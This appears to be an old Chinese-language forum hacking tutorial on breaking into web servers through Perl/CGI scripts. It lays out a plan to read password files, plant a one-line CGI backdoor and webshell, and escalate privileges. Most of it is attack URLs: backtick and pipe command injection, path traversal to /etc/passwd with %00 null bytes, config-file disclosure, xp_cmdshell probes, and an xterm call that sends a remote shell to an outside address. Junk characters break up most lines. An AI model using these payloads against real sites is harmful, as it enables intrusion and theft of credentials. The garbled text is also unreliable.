总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
, B7 C) V8 K5 z9 k) D' Qcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
5 e* w) K+ a1 F F感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 2 d# s4 B; @4 a# f6 X
注“
% R0 ?; Y- |- D/ A8 \0 x5 J7 ?) @perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 3 `0 V' e1 c# p% [
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET , t) ` l! Q! F( k& F
* x7 Z& L; F( ]. chttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 6 h! K; Q7 g7 P& r4 r
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 2 L9 e& h8 X5 V0 T! n$ q
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
$ `) M" S9 e+ phttp://target.com/cgi-bin/home/news/sub.pl?`id` # |' y! t4 c; u2 U+ [
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` # W% e: @5 h# N, b& q1 z
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
( d7 X2 c: j4 F' G1 @5 I
- U8 M9 t8 s# @2 H: thttp://target.com/test.pl;ls|
6 P' x* I& f# P+ d1 l) ehttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
! s$ s! {6 F A+ Phttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| + v2 b Z. e( o9 r: e( |
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 & b" M9 D5 C: P: V
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
8 n8 Z. _( l2 X7 D, lhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
6 H" m5 ]+ t) x6 |
5 N( z/ k# F& z: G, f1 Fhttp://target.com/test.pl?&........ /../../etc/passwd
1 H K7 _0 ^9 k' \6 i: X0 t
# q! d& \/ z0 } U" T+ x! Phttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
/ N6 Q1 |3 G' R( _; G4 Mhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 0 {; w2 n6 v2 y) A
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 & X0 I5 z0 J: s9 U7 |
$ ?$ i0 n) D) ~0 ~$ Q
http://www.target.org/show.php?f ... /include/config.php 查看php代码 ) V! N2 F3 m" A# f9 u! ?
http://www.target.org/show.php?f ... ng/admin/global.php
; V, T/ @5 m1 O9 k- n. e
x H# o/ E1 `; N: ^emm和ps的一句话
! G- \4 V6 d/ a9 [6 k9 ]/ u" a/ @
: U" P- \" A8 G/ c7 o5 Zhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
5 _9 ?( N& I0 _# O* c5 I$ c6 C
% Q; Z) c/ d% q& ]6 I>bbb%20|
2 v& g0 E- h: a: C* `1 ^: i- ^+ i
: X5 I5 K T* chttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
1 A- y+ P2 I5 e s& g% r# s" q8 ?
' G+ |( s, {8 a1 i: W! Phttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
3 a1 Y* N, d% E2 khttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
; v/ e3 o _. Q
. w* o2 j+ D+ B相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
2 ~1 }$ ^/ Y% L6 Zhttp://target.com/index.html#cmd.exe / G9 Q$ z: K# {$ P- v1 y
http://target.com/index.html?dummyparam=xp_cmdshell 6 K# ^" W1 i" K9 W, ]
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
* w! {" _- K6 ^9 E |